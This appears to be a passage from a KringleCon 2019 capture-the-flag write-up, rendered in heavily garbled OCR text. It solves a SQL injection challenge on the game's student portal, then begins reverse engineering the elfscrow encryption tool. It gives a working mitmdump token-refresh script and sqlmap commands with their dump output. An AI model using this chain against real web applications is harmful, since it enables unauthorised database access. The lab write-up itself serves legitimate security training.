ST Re rcept HI Matching Matching S5 59 60 Uest Rei Header /header /header /header /header /	TTP history: WebSackets history appression studentportal effu org https://studentportal.effu.org https://studentportal.effu	opplic Optior rg Method GET POST ainer"> "> dark-ir	Cation-received.	Php sh Params	Edited	Status 200 200	Length 9408 538 3178	MIME type HTML HTML	Extension php php php 7	Title Meny Christmas Eff University	Comment	τιs √ √ √	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept H Matching 55 59 50 Uuest Re Header /header / Begi main rolo div <div< td=""><td>TTP history WebSockets history expression studentportal effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org ispage.costset>> ispag</td><td>opplic option rg Method GET POST ainer"> "> dark-in</td><td>va va va validator.php /validator.php /saplication-received.php sey* style="background-image</td><td>php sh Params</td><td>Edited</td><td>Status 200 200 200</td><td>Length 9408 538 3178</td><td>MIME type HTML script HTML</td><td>Extension php php php</td><td>Tale Merry Christmas Elf University</td><td>Comment</td><td>TLS</td><td>IP 35.223.33.67 35.223.33.67 35.223.33.67</td><td>Cookie</td></div<>	TTP history WebSockets history expression studentportal effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org ispage.costset>> ispag	opplic option rg Method GET POST ainer"> "> dark-in	va va va validator.php /validator.php /saplication-received.php sey* style="background-image	php sh Params	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Tale Merry Christmas Elf University	Comment	TLS	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept H Matching Matchin	constant of the second se	option rg Method GET GET POST ainer"> "" dark-ir ark-ir e mb-4"	Sation-received.	php sh Params /	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Title Meny Christmas Eff University	Comment	1LS √ √ √	IP 35,223,33,67 35,223,33,67 35,223,33,67	Cookie
ST Re rcept H Matching 55 59 60 10 10 10 10 10 10 10 10 10 10 10 10 10	TTP history WebSockets history expression studentportal elfu.org https://studentportal.elfu.org https://studentportal.elfu.org https://studentportal.elfu.org https://studentportal.elfu.org sponse rs Hex HTML Render is page costent> is apage costent> is ap	opplic optior rg Method GET GET POST ainer"> "arx-ir dark-ir e mb-4") ived!	sg URL /apply.php /adidator.php /application-received.php sg/r style="background-image	php sh	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Tale Merry Christmas Elf University	Comment	TLS √ √ √	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept H Matching Matching Matching Meader /header /header /header /header /header /header /header /header /header /header /header /header /header /header /header /header /header /header	compared for the second s	optior optior rg Method GET GET POST ainer"> "ark-ir ack-ir e mb-4";	style="background-image	php sh Params v : url(img/tc	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Title Meny Christmas Eff University	Comment		IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept H Matching Matching Matching Meader /header /header /header /header //header //header //header //header //header //header //header //header //header //header //header //header //header //header //header //header //header	Bornal Bornal Borna	opplic optior rg Method GET GET POST	cation-received.	Params	epbanner	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php php	Tale Merry Christmas Elf University	Comment	TLS	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept H Matching Matching Matching Meader Header /Header /Header (Header (Header) (Header	Comparing the second seco	opplic optior rg Method GET GET POST ainer"> "dark-ir ack-ir e mb-4") ived!	mg" style="background-image	Params	epbanner	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Title Meny Christmas Eff University	Comment	TLS	p 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept H Matching Matching S5 59 50 Uest Re Header /header /header /leader	comparing the second seco	pplic optior rg Method GET POST alner"> "> dark-ir e mb-4"; ived!	rection-received.	Params	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML HTML	Extension php php php	Tale Merry Christmas Elf University	Comment		p 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept H Matching S5 S0 uest Re Header /header /- Beain rol <ir> y! Your y' Your //ain></ir>	comparison of the second	pplic optior rg Method GET GET POST ainer"> "dark-ir dark-ir e mb-4"; ived!	style="background-image"	Params	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script	Extension php php php J	Title Merry Christmas Eff University	Comment		p 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
CERT Re Matching 5 5 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	constant of the second se	pplic pplic g Method GET POST ainer"> post ainer"> ived!	rection-received.	Params	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script	Extension php php php php	Tale Merry Christmas Elf University	Comment		P 35.223.33.67 35.223.33.67 35.223.33.67	Cookie

Circling back to do some analysis on the tokens returned by validator.php, it appears to be constructed from two time-based values which have been base64 encoded and delimited with an underscore character. Shown in the screenshot below is output from a quick prototype script I wrote (validator-test.py - included in the Appendix) that retrieves 30 consecutive tokens, with a 1 second sleep between each request, prints each one followed by each half of the token base64 decoded so we can see the actual values represented there.

To left of the blue line is the original token as returned by validator.php and to the right of the blue line are the two halves of the token base64 decoded (space delimited). The first decoded value appears to be an incrementing time-based value which is a concatenation of 3 values (separated by red lines): a time-based value incrementing in factions of a second, the Unix Epoch time, and then the third value is identical to the first but preserving the decimal. The second decoded value also appears to be an incrementing time-based value and the increments seem to follow a 2-2-2-2-4 second increment for every 1 second, however the fractions of a second component makes this very difficult to predict and construct a valid token independently.

4	1	MTAXMDMwNjIxMzEyMTU3ODYwMzQ1ODEwMTAzMDYyMS4zMTI= MTI5MzE5MTk1Mjc5MzYzMjMyOTc5ODgxLjk4NA==	1010306213121578603458101030621.312 129319195279363232979881.984
		MTAXMDMwNjIXMzc2MTU3ODYwMzQ1OTEwMTAzMDYyMS4zNzY= MTI5MzE5MTk1MzYXMjgzMjMyOTc5ODg0LjAzMg==	1010306213761578603459101030621.376 129319195361283232979884.032
		MTAXMDMwNjixNDQwMTU3ODYwMzQ2MDEwMTAzMDYyMS40NA== MTI5MzE5MTk1NDQzMjAzMjMyOTc5ODg2LjA4	101030621440 <mark>1578603460</mark> 101030621.44 129319195443203232979 <mark>886.08</mark>
		MTAXMDMwNjixNTA0MTU30DYwMzQ2MTEwMTAzMDYyMS41MDQ= MTI5MzE5MTk1NTI1MTIzMjMyOTc50Dg4LjEyOA==	1010306215041578603461101030621.504 129319195525123232979888.128
		MTAXMDMwNjIxNTY4MTU3ODYwMzQ2MjEwMTAzMDYyMS41Njg= MTI5MzE5MTk1NjA3MDQzMjMyOTc5ODkwLjE3Ng==	101030621568 <mark>1578603462</mark> 101030621.568 129319195607043232979 <mark>8</mark> 90.176
		MTAXMDMwNjIxNjk2MTU3ODYwMzQ2NDEwMTAzMDYyMS42OTY= MTI5MzE5MTk1NzcwODgzMjMyOTc5ODk0LjI3Mg==	101030621696 <mark>1578603464</mark> 101030621.696 129319195770883232979 <mark>894.272</mark>
		MTAxMDMwNjlxNzYwMTU3ODYwMzQ2NTEwMTAzMDYyMS43Ng==_MTI5MzE5MTk10DUy0DAzMjMyOTc50Dk2LjMy	101030621760 <mark>1578603465</mark> 101030621.76 129319195852803232979 <mark>8</mark> 96.32
		MTAxMDMwNjIxODI0MTU3ODYwMzQ2NjEwMTAzMDYyMS44MjQ=_MTI5MzE5MTk10TM0NzIzMjMyOTc5ODk4LjM2OA==	101030621824 <mark>1578603466</mark> 101030621.824 129319195934723232979 <mark>8</mark> 98.368
		MTAxMDMwNjIxODg4MTU3ODYwMzQ2NzEwMTAzMDYyMS440Dg=_MTI5MzE5MTk2MDE2NjQzMjMyOTc5OTAwLjQxNg==	101030621888 <mark>1578603467</mark> 101030621.888 129319196016643232979 <mark>9</mark> 00.416
		MTAXMDMwNjIyMDE2MTU3ODYwMZQ2OTEwMTAZMDYyMi4wMTY=_MTI5MZE5MTk2MTgwNDgZMjMyOTc5OTA0LjUXMg==	101030622016 <mark>1578603469</mark> 101030622.016 129319196180483232979 <mark>9</mark> 04.512
		MTAXMDMwNjIyMDgwMTU3ODYwMZQ3MDEwMTAZMDYyMi4wOA==_MTI5MZE5MTk2MjYyNDAZMjMyOTc5OTA2LjU2	101030622080 <mark>1578603470</mark> 101030622.08 129319196262403232979 <mark>9</mark> 06.56
		MTAxMDMwNjIyMTQ0MTU30DYwMzQ3MTEwMTAzMDYyMi4xNDQ=_MTI5MzE5MTk2MzQ0MzIzMjMy0Tc50TA4LjYwOA==	101030622144 <mark>1578603471</mark> 101030622.144 129319196344323232979 <mark>9</mark> 08.608
		MTAxMDMwNjIyMjA4MTU3ODYwMzQ3MjEwMTAzMDYyMi4yMDg=_MTI5MzE5MTk2NDI2MjQzMjMyOTc5OTEwLjY1Ng==	101030622208 <mark>1578603472</mark> 101030622.208 129319196426243232979910.656
		MTAxMDMwNjIyMjcyMTU3ODYwMzQ3MzEwMTAzMDYyMi4yNzI=_MTI5MzE5MTk2NTA4MTYzMjMyOTc5OTEyLjcwNA==	101030622272 <mark>1578603473</mark> 101030622.272 129319196508163232979 <mark>9</mark> 12.704
		MTAxMDMwNjIyNDAwMTU3ODYwMzQ3NTEwMTAzMDYyMi40_MTI5MzE5MTk2NjcyMDAzMjMyOTc5OTE2Ljg=	101030622400 <mark>1578603475</mark> 101030622.4 129319196672003232979 <mark>9</mark> 16.8
		MTAXMDMwNjIyNDY0MTU30DYwMZQ3NjEwMTAZMDYyMi40NjQ=_MTI5MZE5MTk2NzUZOTIZMjMyOTc50TE4Ljg00A==	101030622464 <mark>1578603476</mark> 101030622.464 129319196753923232979 <mark>9</mark> 18.848
		MTAXMDMwNjIyNTI4MTU3ODYwMZQ3NzEwMTAZMDYyMi41Mjg=_MTI5MzE5MTk2ODM10DQzMjMyOTc5OTIwLjg5Ng==	101030622528 <mark>1578603477</mark> 101030622.528 129319196835843232979 <mark>9</mark> 20.896
		MTAxMDMwNjIyNTkyMTU3ODYwMzQ3ODEwMTAzMDYyMi410TI=_MTI5MzE5MTk20TE3NzYzMjMyOTc5OTIyLjk0NA==	101030622592 <mark>1578603478</mark> 101030622.592 129319196917763232979 <mark>9</mark> 22.944
		MTAxMDMwNjIyNjU2MTU3ODYwMzQ3OTEwMTAzMDYyMi42NTY=_MTI5MzE5MTk2OTk5NjgzMjMyOTc5OTI0Ljk5Mg==	101030622656 <mark>1</mark> 578603479 <mark>1</mark> 01030622.656 129319196999683232979 <mark>9</mark> 24.992
		MTAxMDMwNjIyNzg0MTU3ODYwMzQ4MTEwMTAzMDYyMi43ODQ=_MTI5MzE5MTk3MTYzNTIzMjMyOTc5OTI5LjA4OA==	101030622784 <mark>1578603481</mark> 101030622.784 129319197163523232979 <mark>9</mark> 29.088
		MTAXMDMwNjIyODQ4MTU3ODYwMzQ4MjEwMTAzMDYyMi44NDg=_MTI5MzE5MTk3MjQ1NDQzMjMyOTc5OTMxLjEzNg==	101030622848 <mark>1578603482</mark> 101030622.848 129319197245443232979 <mark>9</mark> 31.136
		MTAXMDMwNjIyOTEYMTU3ODYwMzQ4MzEwMTAzMDYyMi45MTI=_MTI5MzE5MTk3MzI3MzYzMjMyOTc5OTMzLjE4NA==	101030622912 <mark>1578603483</mark> 101030622.912 129319197327363232979 <mark>9</mark> 33.184
		MTAxMDMwNjIyOTc2MTU3ODYwMzQ4NDEwMTAzMDYyMi45NzY=_MTI5MzE5MTk3NDA5MjgzMjMyOTc5OTM1LjIzMg==	101030622976 <mark>1</mark> 578603484 <mark>1</mark> 01030622.976 129319197409283232979 <mark>9</mark> 35.232
		MTAxMDMwNjIzMDQwMTU3ODYwMzQ4NTEwMTAzMDYyMy4wNA==_MTI5MzE5MTk3NDkxMjAzMjMyOTc5OTM3LjI4	101030623040 <mark>1578603485</mark> 101030623.04 129319197491203232979 <mark>9</mark> 37.28
		MTAxMDMwNjIzMTY4MTU3ODYwMzQ4NzEwMTAzMDYyMy4xNjg=_MTI5MzE5MTk3NjU1MDQzMjMyOTc5OTQxLjM3Ng==	101030623168 <mark>1578603487</mark> 101030623.168 129319197655043232979 <mark>941.376</mark>
		MTAxMDMwNjIzMjMyMTU3ODYwMzQ4ODEwMTAzMDYyMy4yMzI=_MTI5MzE5MTk3NzM2OTYzMjMyOTc5OTQzLjQyNA==	101030623232 <mark>1578603488</mark> 101030623.232 129319197736963232979 <mark>9</mark> 43.424
		MTAXMDMwNjIzMjk2MTU3ODYwMzQ4OTEwMTAzMDYyMy4y0TY=_MTI5MzE5MTk3ODE4ODgzMjMyOTc5OTQ1LjQ3Mg==	101030623296 <mark>1578603489</mark> 101030623.296 129319197818883232979 <mark>945.47</mark> 2
		MTAXMDMwNjIzMzYwMTU3ODYwMzQ5MDEwMTAzMDYyMy4zNg==_MTI5MzE5MTk3OTAwODAzMjMyOTc5OTQ3LjUy	101030623360 <mark>1578603490</mark> 101030623.36 129319197900803232979 <mark>947.5</mark> 2
		MTAXMDMwNjIzNDI0MTU30DYwMzQ5MTEwMTAzMDYyMy40MjQ=_MTI5MzE5MTk30TgyNzIzMjMyOTc50TQ5LjU20A==	101030623424 <mark>1578603491</mark> 101030623.424 129319197982723232979949.568
			1010206225521579602492101020622 552 129219199146562222979952 664

The strategy I decided to follow was to use sqlmap, but adding a custom mangling step to dynamically retrieve a valid token from validator.php and using this as the token value for each SQLi attempt. Initially I created a custom sqlmap tamper script, however I found I had greater control over the mangling of the payload using mitmdump with a custom script.

My setup looks like this:

sqlmap <--> mitmdump (w/custom script) <--> Burp <--> https://studentportal.elfu.org

With this setup I can do all the mangling with mitmdump and observe all request/responses in Burp

mitmdump setup

custom mitmdump mangling script (mitmcustom.py)

```
import re
import urllib.parse
import requests
import typing
from mitmproxy import http
# set of SSL/TLS capable hosts
secure_hosts: typing.Set[str] = set()
def request(flow: http.HTTPFlow) -> None:
    response=requests.get('https://studentportal.elfu.org/validator.php')
    response_bytes = response.text.encode()
    flow.request.content = flow.request.content.replace(b'token=REPLACE', b'token='+response_bytes)
```

mitmdump command line

```
mitmdump --ssl-insecure -s mitmcustom.py -p 8081 --mode upstream:http://127.0.0.1:8080 --setheader :~q:Content-
Type:application/x-www-form-urlencoded
```

I setup mitmdump to listen on port 8081/tcp and send to Burp as an upstream proxy which is listening on 8080/tcp. For each inbound connection, mitmdump will mangle the request based on the mitmcustom.py script above.

127.0.0.1:51312: POST https://studentportal.elfu.org/application-received.php		
<< 200 OK 2.83k		
127.0.0.1:51312: clientdisconnect		
127.0.0.1:51320: clientconnect		
::ffff:127.0.0.1:51320: Certificate verification error for None: self signed certificate in certificate	chain (errno:	19, depth: 1)
::ffff:127.0.0.1:51320: Ignoring server verification error, continuing with connection		
127.0.0.1:51320: POST https://studentportal.elfu.org/application-received.php		
<< 200 OK 3.08k		
127.0.0.1:51320: clientdisconnect		
127.0.0.1:51330: clientconnect		
::ffff:127.0.0.1:51330: Certificate verification error for None: self signed certificate in certificate	chain (errno:	19, depth: 1)
::ffff:127.0.0.1:51330: Ignoring server verification error, continuing with connection		
127.0.0.1:51330: POST https://studentportal.elfu.org/application-received.php		
<< 200 OK 2.83k		
127.0.0.1:51330: clientdisconnect		
127.0.0.1:51338: clientconnect		
::ffff:127.0.0.1:51338: Certificate verification error for None: self signed certificate in certificate	chain (errno:	19, depth: 1)
::ffff:127.0.0.1:51338: Ignoring server verification error, continuing with connection		



sqlmap command line

python3 ./sqlmap.py -u https://studentportal.elfu.org/application-received.php --referer="https://studentportal.elfu.org/apply.php" --headers="Host: studentportal.elfu.org\nUser-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding:

gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nConnection: close\nUpgrade-Insecure-Requests: 1\n" --method=POST --data="token=REPLACE&name=test&elfmail=test%40test.com&program=test&phone=444-

4444&whyme=Test&essay=Test" -p name --level=5 --risk=3 --proxy="http://127.0.0.1:8081" --dbms mysql --useragent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --skip-urlencode

I setup sqlmap to proxy all requests to 127.0.0.1:8081 which is the mitmdump listener, use POST method, target the name parameter, target a mysql database, I set custom headers and user-agent, and increased level and risk values.

[09:24:31]	[INF0]	testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[09:25:12]	INFO	testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[09:25:54]	[INF0]	testing 'MySQL $>= 5.5$ OR error-based - WHERE or HAVING clause (EXP)'
[09:26:35]	[INF0]	testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON KEYS)'
[09:27:17]	INFO	testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON KEYS)'
[09:27:59]	[INF0]	testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:28:19]	[INFO]	POST parameter 'name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[09:28:19]	[INF0]	testing 'MySQL inline queries'
[09:28:20]	[INF0]	<pre>testing 'MySQL >= 5.0.12 stacked queries (comment)'</pre>
[09:28:20]	[INF0]	testing 'MySQL >= 5.0.12 stacked queries'
[09:28:20]	[INF0]	testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[09:28:20]	[INF0]	testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[09:28:20]	[INF0]	testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[09:28:20]	[INF0]	testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[09:28:20]	[INF0]	testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:28:32]	[INF0]	POST parameter 'name' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[09:28:32]	[INF0]	testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:28:32]	[INF0]	testing 'Generic UNION query (random number) - 1 to 20 columns'
[09:28:32]	[INF0]	testing 'Generic UNION query (NULL) - 21 to 40 columns'
[09:28:32]	[INF0]	testing 'Generic UNION query (random number) - 21 to 40 columns'
[09:28:32]	[INF0]	testing 'Generic UNION query (NULL) - 41 to 60 columns'
[09:28:32]	[INF0]	testing 'Generic UNION query (random number) - 41 to 60 columns'
[09:28:32]	[INF0]	testing 'Generic UNION query (NULL) - 61 to 80 columns'
[09:28:32]	[INF0]	testing 'Generic UNION query (random number) - 61 to 80 columns'

Once the injectable parameter is verified with the specific technique as shown in the screenshot above, the next sqlmap run will attempt to enumerate the databases (--dbs)



sqlmap returns two databases (elfu and information_schema). The next run targets to enumerate the tables in the elfu

database (-D elfu --tables)

/vpt/sqlmap-dew python3_/sqlmap.py u https://studentportal.elfu.org/appLication-received.php --referer=https://studentportal.elfu.org/appLyp https://studentportal.elfu.org/appLyp https://studentportal.elfu.org/appLyp https://studentportal.elfu.org/appLyp https://studentportal.elfu.org/appLyp for/60." -sklp-urlencede -D elfu --tables //studentportal.elfu.org/appLyp //studentportal.elfu.org/appLyp for/60." -sklp-urlencede -D elfu --tables //studentportal.elfu.org/appLyp for/60." -skl

I enumerate "*applications*" and "*students*" tables as well, but the important data is in the "*krampus*" table, which is enumerated below:

[09:49:57]	[INF0] table 'elfu.applications' dumped to CSV file '/root/.sqlmap/output/studentportal.elfu.org/dump/elfu/applications.csv'	
[09:49:57]	[INFO] fetching columns for table 'krampus' in database 'elfu'	
[09:49:58]	[INFO] used SQL guery returns 2 entries	
[09:49:59]	[INFO] retrieved: 'id'	
09:50:00	[INFO] retrieved: 'int(11)'	
09:50:01	[INFO] retrieved: 'path'	
09:50:01	[INFO] retrieved: 'varchar(30)'	
09:50:01	[INFO] fetching entries for table 'krampus' in database 'elfu'	
09:50:021	[INFO] used SOL guery returns 6 entries	
09:50:031	[INFO] retrieved: '/krampus/0f5f510e.ong'	
09:50:041	[INFO] retrieved: '1'	
09:50:051	[INFO] retrieved: '/krampus/lcc7e121.png'	
09:50:051	[INFO] retrieved: '2'	
09:50:061	[INFO] retrieved: '/krampus/439f15e6.png'	
09:50:071	[INFO] retrieved: '3'	
09:50:08	[INFO] retrieved: '/krampus/667d6896.png'	
09:50:091	[INFO] retrieved: '4'	
09:50:09	[INE0] retrieved: '/krampus/adb798ca.png'	
[09:50:10]	[INFO] retrieved: '5'	
[09:50:11]	[INE0] retrieved: '/krampus/ba417715.png'	
[09:50:12]	[INEQ] retrieved: '6'	
 Database: d] fu	
Table: kran	pus -	
<pre>[6 entries]</pre>		
++	+	
id pat		
++- ⁻		
1 /kra	mpus/0f5f510e.png	
2 / /kra	mpus/lcc7e121.png	
3 /kra	mpus/439f15e6.png	
4 /kra	mpus/667d6896.png	
5 /kra	mpus/adb798ca.png	
6 / /kra	mpus/ba417715.png	

Those 6 .png files indicated in the *krampus* table can be downloaded directly from the student portal web site:

https://studentportal.elfu.org/krampus/0f5f510e.png https://studentportal.elfu.org/krampus/1cc7e121.png https://studentportal.elfu.org/krampus/439f15e6.png https://studentportal.elfu.org/krampus/667d6896.png https://studentportal.elfu.org/krampus/adb798ca.png https://studentportal.elfu.org/krampus/ba417715.png

667d6896.png

btw, visiting the root URI, <u>https://studentportal.elfu.org/krampus/</u> displays this page:



Using GIMP layers, I combined each of the fragments into one image. Unfortunately, one piece is missing which might have revealed who wrote this letter. Maybe that piece burned up in the fireplace before the turtle doves got to it? Looking at the background image, hmm could that be an apple... or maybe a tooth?!?

ba417715.png

adb798ca.png

From the Desk of a

Date: August 23, 20

Memo to Self:

Finally! I've figured out how to destroy Christmas! Santa has a brand new, cutting edge sleigh guidance technology, called the Super Sled-o-matic.

I've figured out a way to poison the data going into the system so that it will divert Santa's sled on Christmas Eve!

Santa will be unable to make the trip and the holiday season will be destroyed! Santa's own technology will undermine him!

That's what they deserve for not listening to my suggestions for supporting other holiday characters!

Bwahahahahaha!

The letter has a similar tone and feel as the redacted threating letter we found in Objective 2. The text from this letter is transcribed below:

From the Desk of

Date: August 23, 20

Memo to Self:

Finally! I've figured out how to destroy Christmas! Santa has a brand new, cutting edge sleigh guidance technology, called the Super Sled-o-matic.

I've figured out a way to poison the data going into the system so that it will divert Santa's sled on Christmas Eve!

Santa will be unable to make the trip and the holiday season will be destroyed! Santa's own technology will undermine him!

That's what they deserve for not listening to my suggestions for supporting other holiday characters!

Bwahahahahaha!

The relevant part needed to answer this objective is:



The answer to Objective 9 needed for the badge question is the string: Super Sled-o-matic

Submit

9) Retrieve Scraps of Paper from Server

Difficulty: **####**#

Gain access to the data on the <u>Student Portal</u> server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system? For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.

Super Sled-o-matic

9) Retrieve Scraps of Paper from Server

Difficulty: 🖊 🌲 🌲

Gain access to the data on the <u>Student Portal</u> server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system? For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.

Congratulations! You have completed the Retrieve Scraps of Paper from Server challenge!

After submitting Objective 9 in your badge, talk again with Krampus Hollyfeld in the Steam Tunnels to get dialog on Objective 10.

Objective 10 – Recover Cleartext Document

This Objective is introduced when we speak again to Krampus in the Steam Tunnels after completing Objective 9. For this Objective, we need to decrypt an encrypted document that Krampus found.

Krampus Hollyfeld

I managed to find this protected document on one of the compromised machines in our environment. I think our attacker was in the process of exfiltrating it. I'm convinced that it is somehow associated with the plan to destroy the holidays. Can you decrypt it?

In the badge description, we're given the following:

- 1. A link to the Elfscrow Crypto tool (https://downloads.elfu.org/elfscrow.exe)
- 2. Link to debug symbols for this tool (https://downloads.elfu.org/elfscrow.pdb)
- 3. Link to the encrypted document (https://downloads.elfu.org/ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc)
- 4. Datetime range the document was encrypted: December 6, 2019, between 7pm and 9pm UTC

Excellent help is available in one of the KringleCon 2019 talks called "Reversing Crypto the Easy Way" given by Ron Bowes in Track 3 in Hermey Hall or can be viewed directly at this link: <u>https://www.youtube.com/watch?v=obJdpKDpFBA</u>

Like before, there are many tools and methods that could be used to do this analysis. The strategy I decided to follow was to use IDA and Immunity Debugger to do the reverse engineering and debug the executable to figure out how it works and hopefully find a flaw I can exploit.

First I did a few brief runs of the program itself from the command line just to see how it operates. I see now where the program gets its name since it escrows the encryption key online to <u>https://elfscrow.elfu.org/api/store</u>

Excloring and Prompt C:Lunking/Biferone.use HERNING: You're reading from stdin. That only partially works, use at your own risk! * HERNING: You're reading from stdin. That only partially works, use at your own risk! ** Please pick --encrypt or --decrypt! Are you encrypting a file? Try --encrypt! For example: elfscrow.exe --encrypt <infile> <outfile> You'll be given a secret ID: to decrypt it, like this: elfscrow.exe --decrypt --id=<secret_id> <infile> <outfile> You'll be given a secret ID: to decrypt it, like this: elfscrow.exe --decrypt --id=<secret_id> <infile> <outfile> You can optionally pass --insecure to use unencrypted HTP. But if you do that, you'll be winnerable to packet suffers such as Lipsehark that could potentially snoop on your traffic to figure out what's going on! C:\unking>elfscrow.exe --encrypt test.pdf test.pdf.enc Helcome to ElfScrow VI.01, the only encryption trusted by Santa! Dur niniature elves are putting together random bits for your secret key! Sead = 1578632444 Benerated an encryption key: 2516296184084592 (length: 8) Elfscrowing the key to: elfscrow.elfw.org/api/store Your secret id is babe2577-7433-4481-8588-fc022af88a09 - Santa Says, don't share that key with anybody File successfully encrypted! ELF-SCRON

Very interesting item here is the encryption key: 25 16 29 B1 84 B8 45 92 This is an 8-byte key, indicating DES encryption is very likely.

Then opening the elfscrow.exe in IDA and loading the pdb file with debug symbols, we can see the following functions:

f	do_decrypt(int,char *,char *,char *)	.text	00402A00
f	do_encrypt(int,char *,char *)	.text	004026D0
f	fatal_error(char *)	.text	00401CC0
f	from_hex(char * const,uchar * const)	.text	00401ED0
f	generate_key(uchar * const)	.text	00401DF0
f	getopt_long_only(int,char * * const,char const *,op	.text	00401C90
f	pre_c_init	.text	00403716
f	pre_cpp_init	.text	00403555
f	print_hex(char *,uchar *,uint)	.text	00402540
f	read_file(char *,ulong *)	.text	004025C0
f	retrieve_key(int,uchar * const,char *)	.text	00402220
f	store_key(int,uchar * const)	.text	00401F20
f	super_secure_random(void)	.text	00401DC0
f	super_secure_srand(int)	.text	00401D90
f	terminate(void)	.text	00403D14
f	time	.text	00401E60
f	to_hex(uchar * const,char * const)	.text	00401E80
f	usage(char *)	.text	00402D80
f	write_file(char *,uchar *,uint)	.text	00402660

The functions that stand out as interesting for analysis are:

- do encrypt()
- do decrypt()
- generate key()
- super_secure_random() super secure srand()
- time()

Taking a look at the disassembly of do_encrypt():

1

; Attributes: bp-based frame

; void __cdecl do_encrypt(int insecure, char *in_file, char *out_file) ?do_encrypt@@YAXHPAD0@Z proc near

data= dword ptr -30h key8Lob= DESKEY8LOB ptr -2Ch key= byte ptr -18h var_10= dword ptr -10h hProv= dword ptr -0Ch hKey= dword ptr -8 data_len= dword ptr -4 insecure= dword ptr 8 in_file= dword ptr 0Ch out_file= dword ptr 10h

push	ebp
mov	ebp, esp
sub	esp, 30h
mov	eax,security_cookie
xor	eax, ebp
mov	[ebp+var_10], eax
lea	eax, [ebp+data_len]
push	eax ; len
mov	ecx, [ebp+in_file]
push	ecx ; filename
call	<pre>?read_file@@YAPAEPADPAK@Z ; read_file(char *,ulong *)</pre>
add	esp, 8
mov	[ebp+data], eax
mov	edx, [ebp+data_len]
add	edx, 10h
push	edx ; NewSize
mov	eax, [ebp+data]
push	eax ; Memory
call	ds:imprealloc
add	esp, 8
mov	[ebp+data], eax
push	ØF000000h ; dwFlags
push	1 ; dwProvType
push	offset szProvider ; "Microsoft Enhanced Cryptographic Provid"
push	0 ; szContainer
lea	ecx, [ebp+hProv]
push	ecx ; phProv
call	<pre>ds:impCryptAcquireContextA@20 ; CryptAcquireContextA(x,x,x,x,x)</pre>
test	eax, eax
jnz	short loc_402733

The interesting items above, we see where the plaintext file is read in using read_file() and the call to CryptAcquireContextA().

Taking a closer look, these instructions push parameters on to the stack followed by the call to CryptAcquireContextA().

and the second		
0270A	push	OF000000h ; dwFlags
0270F	push	1 ; dwProvType
02711	push	offset szProvider ; "Microsoft Enhanced Cryptographic Provid"
02716	push	0 ; szContainer
02718	lea	ecx, [ebp+hProv]
0271B	push	ecx ; phProv
02710	call	<pre>ds:impCryptAcquireContextA@20 ; CryptAcquireContextA(x,x,x,x)</pre>

The CryptAcquireContextA() function call and its parameters are defined by Microsoft in the following links: https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptographic-provider-names https://docs.microsoft.com/en-us/windows/win32/seccrypto/microsoft-enhanced-cryptographic-provider https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptographic-provider-types

The article warns this function is deprecated:

CryptAcquireContextA function

12/04/2018 • 12 minutes to read

Important This API is deprecated. New and existing software should start using Cryptography Next Generation APIs. Microsoft may remove this API in future releases.

The *szProvider* parameter indicates it's using: **Microsoft Enhanced Cryptographic Provider v1.0** Note: this provider supports multiple ciphers including legacy ciphers like DES

Continuing further in the do_encrypt() :

